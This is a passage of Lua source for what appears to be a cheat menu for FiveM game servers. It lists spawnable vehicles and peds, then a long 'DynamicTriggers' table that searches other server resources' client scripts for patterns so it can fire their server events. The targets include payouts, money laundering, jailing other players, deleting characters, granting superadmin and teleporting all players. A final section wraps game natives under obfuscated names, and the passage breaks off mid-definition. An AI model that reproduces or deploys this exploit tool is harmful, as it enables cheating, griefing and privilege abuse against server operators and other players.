'McLaren 720s'},
{spawn = 'amggtc', name = 'Mercedes AMG GTC'}, {spawn = 'arrow',
name = 'Mercedes Arrow'},
{spawn = 'brabus850', name = 'Brabus 850'}, {spawn = 'e63amg', name
= 'Mercedes E63 AMG'},
{spawn = 'nissantitan17', name = 'Nissan Titan'}, {spawn =
'cayenneturbo', name = 'Porche Cayenne Turbo'},
{spawn = 'golfgti', name = 'Volkswagon Golf GTI'}, {spawn =
'q8prior', name = 'Audi Q8'},
{spawn = 'rs666', name = 'Audi RS6'}, {spawn = '190e', name =
'Mercedes 190E'},
{spawn = 'golfmk7', name = 'Volkswagon Golf Mk7'}, {spawn =
'rmodjeep', name = 'Jeep Wrangler?'},
{spawn = 'raid', name = 'Doge Challenger Raid'}, {spawn =
'bentaygast', name = 'Bently Bentayga'},
{spawn = 'st', name = 'Ford Feista'}, {spawn = "gtr", name = "Nissan
GTR r35"},
{spawn = "19dbs", name = "2019 Aston Martin DBS"}, {spawn =
"16challenger", name = "2016 challenger"},
{spawn = "450crf", name = "Honda 450CRF"}, {spawn = "911", name =
"Porshe 911"},
{spawn = "amggtsprior", name = "Mercedes AMG GTS Prior"}, {spawn =
"lb750sv", name = "Lamborghini Aventador LB750SV"},
{spawn = "rculi", name = "Rolls Royce Cullian"}, {spawn =
"raptor150", name = "Ford Raptor"},
{spawn = "ren_clio_5", name = "Renault Clio"}, {spawn = "caprice13",
name = "Chevrolet Caprice"},
{spawn = "elantra07", name = "20017 Hyundai Elantra"}, {spawn =
"familiac", name = "Mazda Familia"},
{spawn = "lp770", name = "Lamborghini Centenario"}, {spawn = "brz",
name = "Subaru Brz"},
{spawn = "agera", name = "Koenigsegg Agera"}, {spawn = "cbr1000",
name = "Honda CBR 1000RR"},
{spawn = "g500", name = "Mercedes G500"}, {spawn = "h2carb", name =
"2017 Kawasaki H2 Carbon"},
{spawn = "ar8lb", name = "Liberty Walk BMW I8"}, {spawn = "g63mg",
name = "Mercedes AMG G63"},
{spawn = "scaldarsi", name = "Scaldarsi Emperor"}, {spawn = "db11",
name = "Aston Martin DB11"},
{spawn = "f82", name = "BMW M4"}, {spawn = "g63", name = "Mercedes
G63"},
{spawn = "gt63", name = "Mercedes GT 63"}, {spawn = "rmodamgc63",
name = "Mercedes AMG c63"},
{spawn = "rmodx6", name = "BMW X6"}, {spawn = "x5m", name = "BMW
X5"},
{spawn = "rs666", name = "Widebody Audi RS6"}, {spawn = "golfmk7",
name = "VW Golf MK7"},
{spawn = "rmodmustang", name = "Ford Mustang"}, {spawn = "rmodrs6",
name = "Audi rs6"},
{spawn = "golfmk7", name = "VW Golf MK7"}, {spawn = "corvettezr1",
name = "Corvette C7 ZR1"},
{spawn = "bmwm8", name = "BMW M8"}, {spawn = "vantage", name =
"Aston Martin Vantage"},
{spawn = "04acuratsx", name = "2004 Acura STX"}, {spawn = "180sx",
name = "Nissan 180sx"},
{spawn = "18performante", name = "2018 Lamborghini Performante"},
{spawn = "95stang", name = "1995 Ford Mustang"},
{spawn = "countach", name = "Lamborghini Countach"}, {spawn =
"cyrus", name = "Aston Martin Cyrus"},
{spawn = "czr2", name = "Chevrolet Colorado ZR2"}, {spawn =
"dbs2009", name = "2009 Aston Martin DBS"},
{spawn = "f812", name = "Ferrari F812 Superfast"}, {spawn =
"fairlane66", name = "1966 Ford Fairlane"},
{spawn = "cesc21", name = "Cadillac Escalade"}, {spawn =
"aimgainnsx", name = "AimGain's Acura NSX"},
{spawn = "745le", name = "BMW 745le M Sport"}, {spawn =
"gmt900escal", name = "GMT Escalade"},
{spawn = "e30t", name = "BMW E3 e30t"}, {spawn = "m2f22", name =
"BMW M2"},
{spawn = "rmodm4gts", name = "BMW M4 GTS"}, {spawn = "rmodm8gte",
name = "BMW M8 GTE"},
{spawn = "69charger", name = "1969 Dodge Charger"}, {spawn =
"rmodchiron300", name = "Bugatti Chiron"},
{spawn = "rmodbugatti", name = "Bugatti Veyron"}, {spawn =
"rmodzl1", name = "Camaro ZL1"},
{spawn = "velociraptor", name = "Ford velociraptor"}, {spawn =
"m82020", name = "2020 BMW M8"},
{spawn = "golfmk6", name = "VW Golf mk6"}, {spawn = "718caymans",
name = "Porshe Cayman S 718"},
Peds = {
{pspawn = "a_m_m_kid_01"}, {pspawn = "a_m_m_kid_02"},
{pspawn = "a_m_m_kid_03"}, {pspawn = "a_m_m_baby_01"},
{pspawn = "a_m_f_baby_01"}, {pspawn = "a_m_m_fatlatin_02"},
{pspawn = "a_m_m_fatlatin_03"}, {pspawn = "player_claude"},
},
},
DynamicTriggers = {
{
resource = "esx_vangelico_robbery",
resourcelooklike = {"vangelico", "jewlery"},
file = {"client/esx_vangelico_robbery_cl.lua",
"client/main.lua", "main.lua"},
lookfor = "ClearPedTasksImmediately.GetPlayerPed.-1..",
name = "vangelico_get",
noparam = true
},
{
resource = "esx_vangelico_robbery",
resourcelooklike = {"vangelico", "jewlery"},
file = {"client/esx_vangelico_robbery_cl.lua",
"client/main.lua", "main.lua"},
lookfor = "FreezeEntityPosition.playerPed, false.",
name = "vangelico_sell",
noparam = true
},
{
resource = "esx_ambulancejob",
resourcelooklike = {"esx_ambulancejob", "ambulance"},
file = {"client/job.lua", "job.lua"},
lookfor = ", data.current.value%)",
name = "giveitem",
noparam = false
},
{
resource = "esx_ambulancejob",
resourcelooklike = {"esx_ambulancejob", "ambulance"},
file = {"client/main.lua", "main.lua"},
lookfor = ", data.current.item, data.current.value%)",
name = "giveitem2",
noparam = false
},
{
resource = "esx_doorlock",
resourcelooklike = {"esx_doorlock", "doorlock"},
file = {"client/main.lua", "main.lua"},
lookfor = ", 'unlockDoor', 0.8)",
name = "doorlock_sound1",
noparam = false
},
{
resource = "InteractSound",
resourcelooklike = {"InteractSound", "interact-sound"},
file = {"client/main.lua", "main.lua"},
lookfor = ", function%(playerNetId, maxDistance, soundFile,
soundVolume%)",
name = "interact_sound1",
noparam = false
},
{
resource = "esx_ambulancejob",
resourcelooklike = {"esx_ambulancejob", "ambulance"},
file = {"client/job.lua", "job.lua"},
lookfor = ", GetPlayerServerId%(closestPlayer%)",
name = "reviveesx",
noparam = false
},
{
resource = "esx_ambulancejob",
resourcelooklike = {"esx_ambulancejob", "ambulance"},
file = {"client/main.lua", "main.lua"},
lookfor = ", GetPlayerServerId%(closestPlayer%)",
name = "reviveesx2",
noparam = false
},
{
resource = "esx_policejob",
resourcelooklike = {"esx_policejob", "handcuff"},
file = {"client/main.lua", "main.lua"},
lookfor = "action == 'handcuff'",
name = "policejob_handcuff",
noparam = false
},
{
resource = "esx_policejob",
resourcelooklike = {"esx_policejob", "handcuff"},
file = {"client/main.lua", "main.lua"},
lookfor = ", GetPlayerServerId%b(),",
name = "policejob_spammer",
noparam = false
},
{
resource = "esx_vangelico_robbery",
resourcelooklike = {"vangelico", "jewlery"},
file = {"client/esx_vangelico_robbery_cl.lua", "client/main.lua",
"main.lua"},
lookfor = "FreezeEntityPosition.playerPed, false.",
name = "vangelico_sell",
noparam = false
},
{
resource = "drugs",
resourcelooklike = {"esx_illegal_drugs", "esx_drugs", "drugs"},
file = {"client/main.lua", "client/esx_drugs_cl.lua",
"client/main.lua"},
lookfor = "elseif CurrentAction == \'CokeField\' then",
name = "coke_feild",
noparam = false
},
{
resource = "drugs",
resourcelooklike = {"esx_illegal_drugs", "esx_drugs", "drugs"},
file = {"client/main.lua", "client/esx_drugs_cl.lua",
"client/main.lua"},
lookfor = "",
name = "coke_process",
noparam = false
},
{
resource = "drugs",
resourcelooklike = {"esx_illegal_drugs", "esx_drugs", "drugs"},
file = {"client/main.lua", "client/esx_drugs_cl.lua",
"client/main.lua"},
lookfor = "",
name = "coke_sell",
noparam = false
},
{
resource = "drugs",
resourcelooklike = {"esx_illegal_drugs", "esx_drugs", "drugs"},
file = {"client/main.lua", "client/esx_drugs_cl.lua",
"client/main.lua"},
lookfor = "",
name = "meth_field",
noparam = false
},
{
resource = "drugs",
resourcelooklike = {"esx_illegal_drugs", "esx_drugs", "drugs"},
file = {"client/main.lua", "client/esx_drugs_cl.lua",
"client/main.lua"},
lookfor = "",
name = "meth_process",
noparam = false
},
{
resource = "drugs",
resourcelooklike = {"esx_illegal_drugs", "esx_drugs", "drugs"},
file = {"client/main.lua", "client/esx_drugs_cl.lua",
"client/main.lua"},
lookfor = "elseif CurrentAction == \'MethDealer\' then",
name = "meth_sell",
noparam = false
},
{
resource = "drugs",
resourcelooklike = {"esx_illegal_drugs", "esx_drugs", "drugs"},
file = {"client/main.lua", "client/esx_drugs_cl.lua",
"client/main.lua"},
lookfor = "elseif CurrentAction == \'WeedField\' then",
name = "weed_field",
noparam = false
},
{
resource = "drugs",
resourcelooklike = {"esx_illegal_drugs", "esx_drugs", "drugs"},
file = {"client/main.lua", "client/esx_drugs_cl.lua",
"client/main.lua"},
lookfor = "elseif CurrentAction == \'WeedProcessing\' then",
name = "weed_process",
noparam = false
},
{
resource = "drugs",
resourcelooklike = {"esx_illegal_drugs", "esx_drugs", "drugs"},
file = {"client/main.lua", "client/esx_drugs_cl.lua",
"client/main.lua"},
lookfor = "elseif CurrentAction == \'WeedDealer\' then",
name = "weed_sell",
noparam = false
},
{
resource = "drugs",
resourcelooklike = {"esx_illegal_drugs", "esx_drugs", "drugs"},
file = {"client/main.lua", "client/esx_drugs_cl.lua",
"client/main.lua"},
lookfor = "elseif CurrentAction == \'OpiumField\' then",
name = "opium_field",
noparam = false
},
{
resource = "drugs",
resourcelooklike = {"esx_illegal_drugs", "esx_drugs", "drugs"},
file = {"client/main.lua", "client/esx_drugs_cl.lua",
"client/main.lua"},
lookfor = "elseif CurrentAction == \'OpiumProcessing\' then",
name = "opium_process",
noparam = false
},
{
resource = "drugs",
resourcelooklike = {"esx_illegal_drugs", "esx_drugs", "drugs"},
file = {"client/main.lua", "client/esx_drugs_cl.lua",
"client/main.lua"},
lookfor = "elseif CurrentAction == \'OpiumDealer\' then",
name = "opium_sell",
noparam = false
},
{
resource = "drugs",
resourcelooklike = {"esx_illegal_drugs", "esx_drugs", "drugs"},
file = {"client/main.lua", "client/esx_drugs_cl.lua",
"client/main.lua"},
lookfor = "CurrentAction = nil",
name = "stop_feild_coke",
noparam = false
},
{
resource = "drugs",
resourcelooklike = {"esx_illegal_drugs", "esx_drugs", "drugs"},
file = {"client/main.lua", "client/esx_drugs_cl.lua",
"client/main.lua"},
lookfor = "estCoke",
name = "stop_process_coke",
noparam = false
},
{
resource = "drugs",
resourcelooklike = {"esx_illegal_drugs", "esx_drugs", "drugs"},
file = {"client/main.lua", "client/esx_drugs_cl.lua",
"client/main.lua"},
lookfor = "sformCoke",
name = "stop_sell_coke",
noparam = false
},
{
resource = "drugs",
resourcelooklike = {"esx_illegal_drugs", "esx_drugs", "drugs"},
file = {"client/main.lua", "client/esx_drugs_cl.lua",
"client/main.lua"},
lookfor = "stopSell",
name = "stop_feild_meth",
noparam = false
},
{
resource = "drugs",
resourcelooklike = {"esx_illegal_drugs", "esx_drugs", "drugs"},
file = {"client/main.lua", "client/esx_drugs_cl.lua",
"client/main.lua"},
lookfor = "tMeth",
name = "stop_process_meth",
noparam = false
},
{
resource = "drugs",
resourcelooklike = {"esx_illegal_drugs", "esx_drugs", "drugs"},
file = {"client/main.lua", "client/esx_drugs_cl.lua",
"client/main.lua"},
lookfor = "sformMeth",
name = "stop_sell_meth",
noparam = false
},
{
resource = "drugs",
resourcelooklike = {"esx_illegal_drugs", "esx_drugs", "drugs"},
file = {"client/main.lua", "client/esx_drugs_cl.lua",
"client/main.lua"},
lookfor = "stopSellM",
name = "stop_feild_weed",
noparam = false
},
{
resource = "drugs",
resourcelooklike = {"esx_illegal_drugs", "esx_drugs", "drugs"},
file = {"client/main.lua", "client/esx_drugs_cl.lua",
"client/main.lua"},
lookfor = "vestWeed",
name = "stop_process_weed",
noparam = false
},
{
resource = "drugs",
resourcelooklike = {"esx_illegal_drugs", "esx_drugs", "drugs"},
file = {"client/main.lua", "client/esx_drugs_cl.lua",
"client/main.lua"},
lookfor = "ransformWeed",
name = "stop_sell_weed",
noparam = false
},
{
resource = "drugs",
resourcelooklike = {"esx_illegal_drugs", "esx_drugs", "drugs"},
file = {"client/main.lua", "client/esx_drugs_cl.lua",
"client/main.lua"},
lookfor = "stopSellW",
name = "stop_feild_opium",
noparam = false
},
{
resource = "drugs",
resourcelooklike = {"esx_illegal_drugs", "esx_drugs", "drugs"},
file = {"client/main.lua", "client/esx_drugs_cl.lua",
"client/main.lua"},
lookfor = "stopHarvest",
name = "stop_process_opium",
noparam = false
},
{
resource = "drugs",
resourcelooklike = {"esx_illegal_drugs", "esx_drugs", "drugs"},
file = {"client/main.lua", "client/esx_drugs_cl.lua",
"client/main.lua"},
lookfor = "formOpium",
name = "stop_sell_opium",
noparam = false
},
{
resource = "esx_dmvschool",
resourcelooklike = {"dmvschool"},
file = {"client/main.lua"},
lookfor = ", Config.Prices%b[]",
name = "dmv_pay",
noparam = false,
},
{
resource = "esx_dmvschool",
resourcelooklike = {"dmvschool"},
file = {"client/main.lua"},
lookfor = ", %b''",
name = "dmv_getlicense",
noparam = false,
},
{
resource = "esx_gopostaljob",
resourcelooklike = "gopostaljob",
file = {"client/cl.lua"},
lookfor = ", currentJobPay%)",
name = "gopostaljob:pay2",
noparam = false,
},
{
resource = "esx_gopostaljob",
resourcelooklike = "gopostaljob",
file = {'client/main.lua'},
lookfor = ", amount%)",
name = "gopostaljob:pay",
noparam = false,
},
{
resource = "esx_skin",
resourcelooklike = {"esx_skin", "skin"},
file = {'client/main.lua'},
lookfor = "",
name = "esx_skin:openSaveableMenu",
noparam = false,
},
{
resource = 'esx_blanchisseur',
resourcelooklike = 'blanchisseur',
file = {'client/main.lua'},
lookfor = ", amount%)",
name = 'esx_blanchisseur:pay',
noparam = false,
},
{
resource = "drugs",
resourcelooklike = {'esx_ilegal_drugs', 'esx_drugs', 'drugs'},
file = {'client/main.lua', 'client/main.lua',
'client/esx_drugs_cl.lua'},
lookfor = "elseif CurrentAction == \'CokeField\' then",
name = 'drugs:cokefield',
noparam = false,
},
{
resource = "esx_status",
resourcelooklike = {"status"},
file = {"client/main.lua"},
lookfor = ", function%(name, val%)",
name = 'esx_status_hungerandthirst',
noparam = false,
},
{
resource = "drugs",
resourcelooklike = {'esx_ilegal_drugs', 'esx_drugs', 'drugs'},
file = {'client/main.lua', 'client/main.lua',
'client/esx_drugs_cl.lua'},
lookfor = "elseif CurrentAction == \'CokeProcessing\' then",
name = 'drugs:cokeprocess',
noparam = false,
},
{
resource = "drugs",
resourcelooklike = {'esx_ilegal_drugs', 'esx_drugs', 'drugs'},
file = {'client/main.lua', 'client/main.lua',
'client/esx_drugs_cl.lua'},
lookfor = "elseif CurrentAction == \'CokeDealer\' then",
name = 'drugs:cokesell',
noparam = false,
},
{
resource = "drugs",
resourcelooklike = {'esx_ilegal_drugs', 'esx_drugs', 'drugs'},
file = {'client/main.lua', 'client/main.lua',
'client/esx_drugs_cl.lua'},
lookfor = "elseif CurrentAction == \'MethField\' then",
name = 'drugs:methfield',
noparam = false,
},
{
resource = "drugs",
resourcelooklike = {'esx_ilegal_drugs', 'esx_drugs', 'drugs'},
file = {'client/main.lua', 'client/main.lua',
'client/esx_drugs_cl.lua'},
lookfor = "elseif CurrentAction == \'MethProcessing\' then",
name = 'drugs:methprocess',
noparam = false,
},
{
resource = "drugs",
resourcelooklike = {'esx_ilegal_drugs', 'esx_drugs', 'drugs'},
file = {'client/main.lua', 'client/main.lua',
'client/esx_drugs_cl.lua'},
lookfor = "elseif CurrentAction == \'MethDealer\' then",
name = 'drugs:methsell',
noparam = false,
},
{
resource = "drugs",
resourcelooklike = {'esx_ilegal_drugs', 'esx_drugs', 'drugs'},
file = {'client/main.lua', 'client/main.lua',
'client/esx_drugs_cl.lua'},
lookfor = "elseif CurrentAction == \'WeedField\' then",
name = 'drugs:weedfield',
noparam = false,
},
{
resource = "drugs",
resourcelooklike = {'esx_ilegal_drugs', 'esx_drugs', 'drugs'},
file = {'client/main.lua', 'client/main.lua',
'client/esx_drugs_cl.lua'},
lookfor = "elseif CurrentAction == \'WeedProcessing\' then",
name = 'drugs:weedprocess',
noparam = false,
},
{
resource = "drugs",
resourcelooklike = {'esx_ilegal_drugs', 'esx_drugs', 'drugs'},
file = {'client/main.lua', 'client/main.lua',
'client/esx_drugs_cl.lua'},
lookfor = "elseif CurrentAction == \'WeedDealer\' then",
name = 'drugs:weedsell',
noparam = false,
},
{
resource = "drugs",
resourcelooklike = {'esx_ilegal_drugs', 'esx_drugs', 'drugs'},
file = {'client/main.lua', 'client/main.lua',
'client/esx_drugs_cl.lua'},
lookfor = "elseif CurrentAction == \'OpiumField\' then",
name = 'drugs:opiumfield',
noparam = false,
},
{
resource = "drugs",
resourcelooklike = {'esx_ilegal_drugs', 'esx_drugs', 'drugs'},
file = {'client/main.lua', 'client/main.lua',
'client/esx_drugs_cl.lua'},
lookfor = "elseif CurrentAction == \'OpiumProcessing\' then",
name = 'drugs:opiumprocess',
noparam = false,
},
{
resource = "drugs",
resourcelooklike = {'esx_ilegal_drugs', 'esx_drugs', 'drugs'},
file = {'client/main.lua', 'client/main.lua',
'client/esx_drugs_cl.lua'},
lookfor = "elseif CurrentAction == \'OpiumDealer\' then",
name = 'drugs:opiumsell',
noparam = false,
},
{
resource = "drugs",
resourcelooklike = {'esx_ilegal_drugs', 'esx_drugs', 'drugs'},
file = {'client/main.lua', 'client/coke.lua',
'client/esx_drugs_cl.lua'},
lookfor = "CurrentAction = nil",
name = 'drugs:stop_feild_coke',
noparam = false,
},
{
resource = "drugs",
resourcelooklike = {'esx_ilegal_drugs', 'esx_drugs', 'drugs'},
file = {'client/main.lua', 'client/main.lua',
'client/esx_drugs_cl.lua'},
lookfor = "estCoke",
name = 'drugs:stop_process_coke',
noparam = false,
},
{
resource = "drugs",
resourcelooklike = {'esx_ilegal_drugs', 'esx_drugs', 'drugs'},
file = {'client/main.lua', 'client/main.lua',
'client/esx_drugs_cl.lua'},
lookfor = "sformCoke",
name = 'drugs:stop_sell_coke',
noparam = false,
},
{
resource = "drugs",
resourcelooklike = {'esx_ilegal_drugs', 'esx_drugs', 'drugs'},
file = {'client/main.lua', 'client/main.lua',
'client/esx_drugs_cl.lua'},
lookfor = "stopSell",
name = 'drugs:stop_feild_meth',
noparam = false,
},
{
resource = "drugs",
resourcelooklike = {'esx_ilegal_drugs', 'esx_drugs', 'drugs'},
file = {'client/main.lua', 'client/main.lua',
'client/esx_drugs_cl.lua'},
lookfor = "tMeth",
name = 'drugs:stop_process_meth',
noparam = false,
},
{
resource = "drugs",
resourcelooklike = {'esx_ilegal_drugs', 'esx_drugs', 'drugs'},
file = {'client/main.lua', 'client/main.lua',
'client/esx_drugs_cl.lua'},
lookfor = "sformMeth",
name = 'drugs:stop_sell_meth',
noparam = false,
},
{
resource = "drugs",
resourcelooklike = {'esx_ilegal_drugs', 'esx_drugs', 'drugs'},
file = {'client/main.lua', 'client/main.lua',
'client/esx_drugs_cl.lua'},
lookfor = "stopSellM",
name = 'drugs:stop_feild_weed',
noparam = false,
},
{
resource = "drugs",
resourcelooklike = {'esx_ilegal_drugs', 'esx_drugs', 'drugs'},
file = {'client/main.lua', 'client/main.lua',
'client/esx_drugs_cl.lua'},
lookfor = "vestWeed",
name = 'drugs:stop_feild_weed',
noparam = false,
},
{
resource = "drugs",
resourcelooklike = {'esx_ilegal_drugs', 'esx_drugs', 'drugs'},
file = {'client/main.lua', 'client/main.lua',
'client/esx_drugs_cl.lua'},
lookfor = "ransformWeed",
name = 'drugs:stop_sell_weed',
noparam = false,
},
{
resource = "drugs",
resourcelooklike = {'esx_ilegal_drugs', 'esx_drugs', 'drugs'},
file = {'client/main.lua', 'client/main.lua',
'client/esx_drugs_cl.lua'},
lookfor = "stopSellW",
name = 'drugs:stop_feild_opium',
noparam = false,
},
{
resource = "drugs",
resourcelooklike = {'esx_ilegal_drugs', 'esx_drugs', 'drugs'},
file = {'client/main.lua', 'client/main.lua',
'client/esx_drugs_cl.lua'},
lookfor = "stopHarvest",
name = 'drugs:stop_process_opium',
noparam = false,
},
{
resource = "drugs",
resourcelooklike = {'esx_ilegal_drugs', 'esx_drugs', 'drugs'},
file = {'client/main.lua', 'client/main.lua',
'client/esx_drugs_cl.lua'},
lookfor = "formOpium",
name = 'drugs:stop_sell_opium',
noparam = false,
},
{
resource = "esx_taxijob",
resourcelooklike = 'esx_taxijob',
file = {'client/main.lua'},
lookfor = "success'%)",
name = 'esx_taxijob:success',
noparam = false,
},
{
resource = "esx_pizza",
resourcelooklike = 'esx_pizza',
file = {'client/main.lua'},
lookfor = ", amount%)",
name = 'esx_pizza:pay',
noparam = false,
},
{
resource = "gcphone",
file = {"client/twitter.lua"},
resourcelooklike = {"phone"},
lookfor = ", data.username or '', data.password or '',
data.message",
name = "gcphone_posttweet",
noparam = false,
},
{
resource = "gcphone",
file = {"client/twitter.lua"},
resourcelooklike = {"phone"},
lookfor = ", data.username, data.password, data.avatarUrl",
name = "gcphone_createtwiteracc",
noparam = false,
},
{
resource = "gcphone",
file = {"client/twitter.lua"},
resourcelooklike = {"phone"},
lookfor = ", data.username, data.password",
name = "gcphone_logintwitteracc",
noparam = false,
},
{
resource = "esx_vehicleshop",
resourcelooklike = {"vehicle"},
file = {"client/main.lua"},
lookfor = ", vehicleProps",
name = "add_vehicle",
noparam = false,
},
{
resource = "esx_policejob",
resourcelooklike = {"police"},
file = {"client/main.lua"},
lookfor = ", GetPlayerServerId%b(),",
name = "police_exploit",
noparam = false,
},
{
resource = "CarryPeople",
resourcelooklike = {"carry"},
file = {"cl_carry.lua"},
lookfor = ",targetSrc%)",
name = "carry_exploit",
noparam = false,
},
{
resource = "CarryPeople",
resourcelooklike = {"carry"},
file = {"cl_carry.lua"},
lookfor = "",
name = "carry_exploitv2",
noparam = false,
},
{
resource = "CarryPeople",
resourcelooklike = {"carry"},
file = {"cl_carry.lua"},
lookfor = ",target",
name = "carrypeople_stop",
noparam = false,
},
{
resource = "esx-qalle-jail",
resourcelooklike = {"jail"},
file = {"client/client.lua"},
lookfor = ", function%(newJailTime%)",
name = "qalle_jailer",
noparam = false,
},
{
resource = "esx_jailer",
resourcelooklike = {"jail"},
file = {"client/main.lua"},
lookfor = "",
name = "esx_jailer:sendToJail",
noparam = false,
},
{
resource = "esx_policejob",
resourcelooklike = {"police"},
file = {"client/main.lua"},
lookfor = ", player, c",
name = "community",
noparam = false,
},
{
resource = "esx_truckerjob",
resourcelooklike = {"trucker"},
file = {"client/main.lua"},
lookfor = ", amount",
name = "truckerjob_pay",
noparam = false,
},
{
resource = "gopostal_job",
resourcelooklike = {"gopostal"},
file = {"client/cl.lua"},
lookfor = ", currentJobPay",
name = "gopostal_pay",
noparam = false,
},
{
resource = "esx-qalle-jail",
resourcelooklike = {"jail"},
file = {"client/client.lua"},
lookfor = ", jailTime%)",
name = "qalle_unjail",
noparam = false,
},
{
resource = "esx_holdup",
resourcelooklike = {"esx_holdup", "holdup"},
file = {"client/main.lua", "client.lua"},
lookfor = ", function%(award%)",
name = "esx_holdup",
noparam = false,
},
{
resource = "esx_carwash",
resourcelooklike = {"esx_holdup", "holdup"},
file = {"client/main.lua", "client.lua"},
lookfor = ", function%(price%)",
name = "esx_carwash:success",
noparam = false,
},
--[[{
resource = "",
resourcelooklike = {"", ""},
file = {"", ""},
lookfor = "",
name = "fuck_economy",
noparam = false,
},]]
{
resource = "esx_policejob",
resourcelooklike = {"police"},
file = {"client/main.lua"},
lookfor = ", GetPlayerServerId%b(), \'society_police\', _U%b(),
data.current.amount",
name = "send_bill",
noparam = false,
},
{
resource = "ESX_CommunityService",
resourcelooklike = {"CommunityService"},
file = {"client/main.lua"},
lookfor = ", function%(source%)",
name = "communityservice_finishservice",
noparam = false,
},
{
resource = "esx_garbagejob",
resourcelooklike = {"garbage"},
file = {"client/main.lua"},
lookfor = ", amount%)",
name = "garbagejob_pay",
noparam = false,
},
{
resource = "TakeHostage",
resourcelooklike = {"hostage"},
file = {"cl_takehostage.lua"},
lookfor = ", closestPlayer,",
name = "Hostage_Exploit",
noparam = false,
},
{
resource = "esx_moneywash",
resourcelooklike = {"wash"},
file = {"client/main.lua"},
lookfor = ", amount, zone",
name = "Money_Wash",
noparam = false,
},
{
resource = "esx_fishing",
resourcelooklike = {"esx_fishing", "esx_Advancedfishing"},
file = {"client/main.lua"},
lookfor = ", bait%)",
name = "fishing:catch",
noparam = false,
},
{
resource = "esx_fishing",
resourcelooklike = {"esx_fishing", "esx_Advancedfishing"},
file = {"client/main.lua"},
lookfor = ', "shark"%)',
name = "fishing:startSelling",
noparam = false,
},
{
resource = "esx_kashacters",
resourcelooklike = {"kashacters"},
file = {"client/main.lua"},
lookfor = ", data.charid%)",
name = "delete_DB",
noparam = false
},
{
resource = "esx_kashacters",
resourcelooklike = {"kashacters"},
file = {"client/main.lua"},
lookfor = ", data.charid%)",
name = "addSuperadmin",
noparam = false
},
{
resource = "esx_bus",
resourcelooklike = {"bus"},
file = {"client/main.lua"},
lookfor = ", amount%)",
name = "buss_pay",
noparam = false
},
{
resource = "99kr-burglary",
resourcelooklike = {"burglary"},
file = {"burglary_client.lua"},
lookfor = ", values.item, rndm%)",
name = "free_items",
noparam = false
},
{
resource = "es_extended",
resourcelooklike = {"extended"},
file = {"client/common.lua"},
lookfor = ", function%(cb%)",
name = "esx_hook",
noparam = false
},
{
resource = "Badger_Tackle",
resourcelooklike = {"tackle"},
file = {"client/main.lua"},
lookfor = ", GetPlayerServerId%(closestPlayer%)",
name = "tp_all_to_me",
noparam = false
},
{
resource = "dp-emotes",
resourcelooklike = {"emotes", "emote", "dpemotes"},
file = {"client/Syncing.lua"},
lookfor = ", GetPlayerServerId%(target%), requestedemote,
otheremote",
name = "emote_dp",
noparam = false
},
{
resource = "rl-inventory",
resourcelooklike = {"inventory"},
file = {"client/main.lua"},
lookfor = ', \"trunk\", CurrentVehicle, other',
name = "open_inv",
noparam = false
},
{
resource = "esx_hifi",
resourcelooklike = {"hifi", "esx-hifi", "esx-sound", "esx_sound",
"sound"},
file = {"client/main.lua", "client.lua"},
lookfor = ', data.value, coords',
name = "play_song",
noparam = false
},
}
}
local Fatasf = {
n = {
_RNE_ = RegisterNetEvent,
_AEH_ = AddEventHandler,
_TSE_ = TriggerServerEvent,
CreateAnDui = function(url, w, h) return CockT.Inv["Invoke"]
(CockT.Natives['CreateDui'], CockT.Strings.tostring(url), w, h,
_cit_.ReturnResultAnyway(), _cit_.ResultAsLong()) end,
DestroyDui = function(dui) return CockT.Inv["Invoke"]
(CockT.Natives['DestroyDui'], dui) end,
IsPedSittingInVehicle = function(player, vehicle) return
CockT.Inv["Invoke"](CockT.Natives['IsPedSittingInVehicle'], player, vehicle) end,
UseParticleFxAsset = function(name) return CockT.Inv["Invoke"]
(CockT.Natives['UseParticleFxAsset'], name, _cit_.ReturnResultAnyway(),
_cit_.ResultAsVector()) end,
StartNetworkedParticleFxNonLoopedAtCoord = function(effect, x, y, z, xr,
yr, zr, scale, xAxis, yAxis, zAxis) return CockT.Inv["Invoke"]
(CockT.Natives['StartNetworkedParticleFxNonLoopedAtCoord'], effect, x, y, z, xr,
yr, zr, scale, xAxis, yAxis, zAxis, _cit_.ReturnResultAnyway(),
_cit_.ResultAsVector()) end,
SetTextColour = function(r, g, b, a) return CockT.Inv["Invoke"]
(CockT.Natives['SetTextColour'], r, g, b, a, _cit_.ReturnResultAnyway(),
_cit_.ResultAsVector()) end,
RequestNamedPtfxAsset = function(fxName) return CockT.Inv["Invoke"]
(CockT.Natives['RequestNamedPtfxAsset'], fxName, _cit_.ReturnResultAnyway(),
_cit_.ResultAsVector()) end,
GetEntityCoords = function(entity) return CockT.Inv["Invoke"]
(CockT.Natives['GetEntityCoords'], entity, _cit_.ResultAsVector()) end,
CreateVehicle = function(veh, x, y, z, heading, isNetwork,
netMissionEntity) return CockT.Inv["Invoke"](CockT.Natives['CreateVehicle'], veh,
x, y, z, heading, isNetwork, netMissionEntity, _cit_.ReturnResultAnyway(),
_cit_.ResultAsInteger()) end,
GetDistanceBetweenCoords = function(x1, y1, z1, x2, y2, z2, useZ) return
CockT.Inv["Invoke"](CockT.Natives['GetDistanceBetweenCoords'], x1, y1, z1, x2, y2,
z2, useZ, _cit_.ReturnResultAnyway(), _cit_.ResultAsFloat()) end,
GetEntityRotation = function(entity, rotationOrder) return
CockT.Inv["Invoke"](CockT.Natives['GetEntityRotation'], entity, rotationOrder,
_cit_.ResultAsVector()) end,
GetScreenCoordFromWorldCoord = function(worldX, worldY, worldZ) return
CockT.Inv["Invoke"](CockT.Natives['GetScreenCoordFromWorldCoord'], worldX, worldY,
worldZ, _cit_.PointerValueFloat(), _cit_.PointerValueFloat(),
_cit_.ReturnResultAnyway()) end,
GetActiveScreenResolution = function() return CockT.Inv["Invoke"]
(CockT.Natives['GetActiveScreenResolution'], _cit_.PointerValueInt(),
_cit_.PointerValueInt()) end,
GetPedBoneCoords = function(ped, boneId, offsetX, offsetY, offsetZ)
return CockT.Inv["Invoke"](CockT.Natives['GetPedBoneCoords'], ped, boneId, offsetX,
offsetY, offsetZ, _cit_.ReturnResultAnyway(), _cit_.ResultAsVector()) end,
HasEntityClearLosToEntity = function(entity1, entity2, traceType) return
CockT.Inv["Invoke"](CockT.Natives['HasEntityClearLosToEntity'], entity1, entity2,
traceType, _cit_.ReturnResultAnyway()) end,
DrawLine = function(x1, y1, z1, x2, y2, z2, r, g, b, a) return
CockT.Inv["Invoke"](CockT.Natives['DrawLine'], x1, y1, z1, x2, y2, z2, r, g, b, a)
end,
GetActivePlayers = function() return
